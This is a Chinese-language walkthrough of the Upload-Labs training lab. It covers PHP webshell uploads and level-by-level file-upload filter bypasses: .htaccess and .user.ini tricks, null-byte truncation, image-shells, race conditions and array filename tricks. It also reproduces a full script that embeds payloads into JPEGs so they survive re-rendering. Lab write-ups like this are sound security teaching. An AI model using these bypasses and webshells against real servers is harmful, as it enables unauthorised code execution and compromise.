Upload-Labs通关

目录

问题

我们首先先来了解一下什么是文件上传

一句话木马

web是用什么语言开发的

最简单的一句话木马

 解释

了解完一句话木马 我们了解一下 蚁剑的工作原理

Pass-1  前端验证

1.通过浏览器的插件 关闭这个前端函数

2.通过bp来抓包修改后缀

Pass-2  文件类型的匹配

Pass-3  黑名单过滤不全

Pass-4  .htaccess

Pass-5 .user.ini

Pass-6   php后缀大小写绕过

Pass-7  空格绕过

Less-8  点绕过

Pass-9  ::$DATA 绕过

Pass-10  无换名且无循环过滤 点空格点 绕过

Pass-11  双写绕过

Pass-12  白名单过滤和GET的00截断

Pass-13  POST类型的00截断和通过bp修改来实现00截断

Pass-14 图片马的制作和通过文件上传来实现shell

 Pass-15 辨识识别图片的函数

Pass-16 php_exif

Pass-17 二次渲染

GIF的二次渲染绕过

PNG的二次渲染绕过

JPG的二次渲染绕过

Less-18 条件竞争

条件竞争是什么呢

Less-19 条件竞争/图片码

 Less-20 文件夹绕过 00截断

Less-21  数组绕过


问题

记录BUG—在uploadlabs第三关中—关于phpstudy中修改httpd.conf依旧无法解析.php3d等问题_upload第三关常见错误_dfzy$_$的博客-CSDN博客

我们首先先来了解一下什么是文件上传

首先 很简单
文件上传就是 需要用户进行上传文件 图片或视频等信息

 但是如果用户恶意上传木马怎么办?

这里由提到了木马

一句话木马

我们在文件上传的时候 天天都是一句话木马

但是这个木马到底是什么呢

首先我们先要了解一下

web是用什么语言开发的

目前存在

ASP/PHP/JSP/ASPX

这些都是web开发的语言

最简单的一句话木马

   

 解释

这里存在了几个方面

1.
2.@
3eval()
4$_POST['attack']


我们一个一个解释


1.就是php语言

2.@出现就是说 发生错误 也不进行报错

3.eval()  把()里面的当做命令来执行

4.$_POST['attack']  在该路径下接受attack参数 


假如我们传入 attack='ls'

那么就会被解析为 


那么就会执行 ls这个命令

了解完一句话木马 我们了解一下 蚁剑的工作原理

通过指定端口进行抓包可以发现

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
	return $out;
};
function asoutput(){
$output=ob_get_contents(); //返回输出缓冲区的内容
ob_end_clean(); //清理(擦除)缓冲区并关闭输出缓冲
echo "c6b05fd97";
echo @asenc($output);echo "d69e35d304";}
ob_start(); //打开输出缓冲区
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]); //获取当前url路由的绝对路径
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); //当前脚本所在文件系统(非文档根目录)的基本路径
$R="{$D}	";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
}
else{
$R.="/";}$R.="	";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); //获取目录,uid,系统信息,用户等信息

Pass-1  前端验证

Upload-Labs通关_第1张图片

 提示要上传的是图片

我们看看如果不上传图片会怎么样

Upload-Labs通关_第2张图片

发现被过滤了

我们来看看源代码

发现只能上传 jpg png gif的文件 并且这个是一个js函数

这里有两个方式

1.通过浏览器的插件 关闭这个前端函数

然后就可以上传 一句话木马了

2.通过bp来抓包修改后缀

上传图片马

Upload-Labs通关_第3张图片

修改为php 放包

最后通过蚁剑连接一下就可以了

Pass-2  文件类型的匹配

这道题是文件类型的匹配

通过源代码 可以发现 上传的类型 要是

image/jpeg
image/png
imgae/gif

这类才可以实现上传

这题和第一题的第二个解法一样

通过上传 jpg 修改后缀即可

Pass-3  黑名单过滤不全

这道题只过滤了一个 php

我们首先关闭前端验证

然后fuzz一下

Upload-Labs通关_第4张图片

发现 只要不是php 就都可以

我们直接上传一个 phtml类 链接即可

Pass-4  .htaccess

首先我们了解一下什么事.htaccess

如果我们不存在服务器的root权限 
但是想修改 服务器配置 就可以在 apache中打开选项
然后我们就可以通过 .htaccess 来配置服务器了

在.htaccess 中写入


SetHandler application/x-httpd-php

首先指定 shell.png

然后作为php文件执行

在这道题

我们首先上传 .htaccess 然后上传 shell.png 即可

然后访问 shell.png 链接即可

Pass-5 .user.ini

Upload-labs Pass-05 .user.ini文件上传_upload labs user.ini_baynk的博客-CSDN博客

首先了解什么是 .user.ini

.user.ini 其实就是用户自定义的 php.ini

我们可以通过写入

auto_prepend_file = 木马名

来让我们访问该网站的文件的时候 自动包含我们的木马

我们可以进行测试

auto_prepend_file = shell.png

我们上传 .user.ini

 再上传 shell.png

Upload-Labs通关_第5张图片

其中 目录下一直存在一个 readme.php 

那我们网站访问 该php的时候 shell.png自动会被包含在其中

记住该靶场现在的是
Upload-Labs通关_第6张图片

 该版本
phpinfo需要是CGI这个

 才可以使用 .user.ini
按照上面的上传
然后访问 readme.php
shell.png就已经被自动包含在这个文件内了
我们只需要链接即可
记住链接的路径也是该文件

upload/readme.php

Pass-6   php后缀大小写绕过

Upload-Labs通关_第7张图片

发现修改了

所以我们只能通过另一个方法了

就是修改php后缀

在windows中 php Php phP pHp都可以作为php文件执行

所以我们抓包修改为 phP后缀

发现上传成功

Upload-Labs通关_第8张图片

 链接也可以成功

Pass-7  空格绕过

通过比对源代码

发现少了 文件末尾去空格个这个

在windows 中 如果你手动在后缀未中加空格

系统会自动删除

这个就是利用这个

通过 php空格 绕过检查 然后windows删除空格 变为 php

所以通过抓包

 加一个空格

Upload-Labs通关_第9张图片

 发现上传 成功

Upload-Labs通关_第10张图片

Less-8  点绕过

这个特性也是windows的

和空格类似

如果输入 1.txt. windows会自动识别为 1.txt 去掉 点

Upload-Labs通关_第11张图片

Upload-Labs通关_第12张图片

Upload-Labs通关_第13张图片

 Upload-Labs通关_第14张图片

Pass-9  ::$DATA 绕过

https://www.cnblogs.com/1ink/p/15102288.html

NTFS ADS的前世今生 - 简书

我们写入

shell.php::$DATA

这个时候 服务器首先读取 $后是否为分区的可执行文件

发现属于数据流

所以服务器并不会认为这个是一个php文件

但是操作系统知道这个是一个php文件 就会把里面的内容返回到目录中

这样就绕过了黑名单

抓包

Upload-Labs通关_第15张图片

 上传成功

Upload-Labs通关_第16张图片

 Upload-Labs通关_第17张图片

Pass-10  无换名且无循环过滤 点空格点 绕过

Upload-Labs通关_第18张图片

发现把我们之前的全过滤了

但是其实没有过滤完整

通过fuzz可以发现

 这些其实可以上传的

 并且可以通过 pHp1

链接

但是这道题我们主要的做法不是这个

我们首先通过上传shell.php来分析

 if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
假设没有过滤
        $file_name = trim($_FILES['upload_file']['name']);
读取名和后缀  shell 和.php
        $file_name = deldot($file_name);//删除文件名末尾的点
删除文件名的 shell.php
        $file_ext = strrchr($file_name, '.');
从.开始读取作为后缀 这里读取完是 php
        $file_ext = strtolower($file_ext); //转换为小写
还是php
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
还是php
        $file_ext = trim($file_ext); //首尾去空
还是php
        
        if (!in_array($file_ext, $deny_ext)) {
如果不在黑名单
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
直接把 原文件上传

            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true; 

这里我们发现

1. 只过滤1次

2.没有修改名字和后缀

所以我们可以通过构造 . . 来绕过 点空点

这样过滤后就只剩点

例如

shell.php. .

过滤完

shell.php.

这样就实现了上传

Upload-Labs通关_第19张图片

 Upload-Labs通关_第20张图片

Pass-11  双写绕过

Upload-Labs通关_第21张图片

发现黑名单会被替换为空

这样就和sql注入一样的办法即可

双写绕过

pphphp

我们试试看

Upload-Labs通关_第22张图片

Upload-Labs通关_第23张图片

上传成功

Pass-12  白名单过滤和GET的00截断

首先 00截断是因为系统读取到了 %00后就默认结束了

就会截断后面的字符串

第二

利用条件

php 要小于 5.3.4

php.ini里Upload-Labs通关_第24张图片

我们可以开始利用

Upload-Labs通关_第25张图片

猜测是白名单过滤

我们抓包看看

Upload-Labs通关_第26张图片

 发现 POST类型 但是存在GET参数

并且写着 save_path

保存地址

这里就是我们利用%00截断的地方

我们通过源代码也能发现

 存放的方式就是 

/upload/随机数日期.后缀

其中upload是get参数的

 那我们就可以通过get来截断

/upload/1.php%00随机数日期.后缀

1.php是我们随便构造的 用来保存内容

如果我们不截断

他就是现在这样

 如果我们截断了

Upload-Labs通关_第27张图片

他就会变为

Upload-Labs通关_第28张图片

 Upload-Labs通关_第29张图片

 绕过成功

Pass-13  POST类型的00截断和通过bp修改来实现00截断

和12一样

抓包后就发现了 post中存在 上传路径

直接00截断

Upload-Labs通关_第30张图片

 但是这里存在一个问题

POST类型并不会和GET一样自动解码

所以我们使用BP来修改

+的十六进制是2b

点击hex

Upload-Labs通关_第31张图片

 在2b位置修改为00

Upload-Labs通关_第32张图片

然后放包

Upload-Labs通关_第33张图片

 上传成功

Pass-14 图片马的制作和通过文件上传来实现shell

首先我们看看这道题目的源代码

Upload-Labs通关_第34张图片

通过读取两个字节 并且把两个字节变为 10进制

然后链接在一起

进行比对 如果是255216 变为jpg

这里我们首先构造图片马

图片马 首先需要图片是一个正常的图片 因为需要绕过检测

然后把我们的一句话木马写入即可

copy 图片/b + 木马/a 最后的名字

Upload-Labs通关_第35张图片

 Upload-Labs通关_第36张图片

 上传成功

通过文件上传漏洞来看看

能不能访问这个文件

Upload-Labs通关_第37张图片

 执行成功

Upload-Labs通关_第38张图片

 Pass-15 辨识识别图片的函数

这个用14的做法就可以上传图片码

主要是看看源代码来了解一下函数

getimagesize($filename);
获取图片的大小
image_type_to_extension($info[2]) 
获取图片的后缀

stripos($types,$ext)

判断 type中存不存在ext  不区分大小写

Upload-Labs通关_第39张图片

 Upload-Labs通关_第40张图片

Pass-16 php_exif

Upload-Labs通关_第41张图片

 首先打开 php_exif

其次就是和之前一样 上传图片码

这里的 php_exif 就是识别上传的类型

    case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;

 识别为3个类型其中一个才可以过

就可以了

Pass-17 二次渲染

【文件上传绕过】——二次渲染漏洞_二次渲染绕过_剑客 getshell的博客-CSDN博客

首先 通过源代码和上传测试 我们能发现 所有的上传 都被重新命名 和重新渲染

就是重新修改了文件中的数据 只留下了 和图片信息有关的内容

GIF的二次渲染绕过

这里主要 是对GIF 因为GIF对文件的格式要求精度不高

所以不会容易损坏

首先我们传入一个GIF

Upload-Labs通关_第42张图片

 使用010打开这个文件

Upload-Labs通关_第43张图片

Upload-Labs通关_第44张图片

Upload-Labs通关_第45张图片

 这里匹配就是两个文件都存在的内容

这里我们要注意

我们写入一句话的时候 不能破坏图片 不然就是无法注入

Upload-Labs通关_第46张图片

我们来保存后重新上传

Upload-Labs通关_第47张图片

 注意我们写入的时候最好写在不破坏图片内容的地方 不然有可能无法实现绕过

PNG的二次渲染绕过

我的window没有配置php 所以使用kali


然后执行

php 大牛的代码 

就会自动生成png图片

然后上传即可

Upload-Labs通关_第48张图片Upload-Labs通关_第49张图片

成功

JPG的二次渲染绕过



    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php ');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

一样的代码 但是这次需要指定jpg文件

 最好多选几次

Upload-Labs通关_第50张图片

Upload-Labs通关_第51张图片

反正我是试了很多次图片 才可以上传成功

Less-18 条件竞争

先给出一句话木马

');?>

这个的意思是如果访问了该文件 那么就生成一个 2.php写入phpinfo

条件竞争是什么呢

当一个事务为多线程的时候

一个事务还没有结束 但是另一个事务立马访问了

这样就会形成没有"扣款"

运用到这里就是 我们上传的木马 还没有删除 就被访问了 这样就会留下我们的另一个木马

Upload-Labs通关_第52张图片

这里注意的是

move_uploaded_file()函数将上传文件临时保存,再进行判断

这里我们可以开始看看这道题目

写入木马抓包 发到爆破

Upload-Labs通关_第53张图片

 开始

然后我们去访问 1.php

然后就会生成2.php

Upload-Labs通关_第54张图片

 这个时候去访问2.php 就得到了shell

Upload-Labs通关_第55张图片

Less-19 条件竞争/图片码

Upload-labs 1-21关 靶场通关攻略(全网最全最完整)_upload靶场_晚安這個未知的世界的博客-CSDN博客

这里补充一下条件竞争的前提

是服务器暂时保存 ->比对->删除

我们打的就是时间差

这道题目也是通过条件竞争来绕过

无法使用apache特性

就是apache遇到无法解析的后缀
就会从右边往左边解析


所以可以构造 shell.php.zip

Upload-Labs通关_第56张图片

还是老老实条件竞争吧

   $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {

先对其进行上传

然后使用Myupload的upload方法

来对上传的进行判断

    case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }

下面是Myupload的代码

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

这里主要是收集一些图片的信息

并且设置白名单

我们在上传测试中也能发现

修改了名字

所以我们可以使用条件竞争

首先准备图片码

然后上传抓包和18一样操作

然后这里需要访问的是文件包含 因为我们上传的是GIF文件

 这个时候就上传成功了

Upload-Labs通关_第57张图片

 Less-20 文件夹绕过 00截断

这里使用00 截断即可

php

后面有 %00  但是是编码过的

还有一个是文件夹绕过

1/2.php/.

这样是1文件夹下的2.php文件夹下的文件

这样因为/.不存在 所以会以文件夹的命名方式来创建一个2.php

但是2.php又是文件 所以会创建一个php文件

Upload-Labs通关_第58张图片

 这里就上传成功了

Less-21  数组绕过

Upload-labs Pass-20 数组绕过_baynk的博客-CSDN博客

首先解读一下源代码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
这里就是检查MIME 可以通过BP抓包修改


        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
这里注意 通过 .来分割 然后把小写的文件 作为两个数组
假如我们上传 shell.png  他就是 A=['shell','png']
        }
把所有变为小写


        $ext = end($file);
end(array)函数,输出数组中的当前元素和最后一个元素的值。
指针调位最后一个  png
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }
白名单

        else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
shell 
count(array)函数,计算数组中的单元数目,或对象中的属性个数
就是数组个数-1然后拼接
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

PHP 在线工具 | 菜鸟工具Upload-Labs通关_第59张图片

如果我们指定这个把这个数组加到array[shell.php,null,jpg]

那count回来就是2

Upload-Labs通关_第60张图片

Upload-Labs通关_第61张图片

 这个时候数组里只有两个值

那么 2-1 =1 就会 但是 array[1] 没有内容

Upload-Labs通关_第62张图片

 不存在返回值 那么就为 ' ' 所以最后拼接就是 shell.php.

那么就成功绕过了

 那我们开始做题

抓包

Upload-Labs通关_第63张图片

修改MIME

Upload-Labs通关_第64张图片

我们自己设定数组

这样就数组就是

save_path[shell.php,NULL,png]

count为2

2-1=1 1为NULL

所以拼接就是 shell.php.''

其实就是 

shell.php.

这样就上传成功

Upload-Labs通关_第65张图片

你可能感兴趣的:(WEB,文件上传漏洞)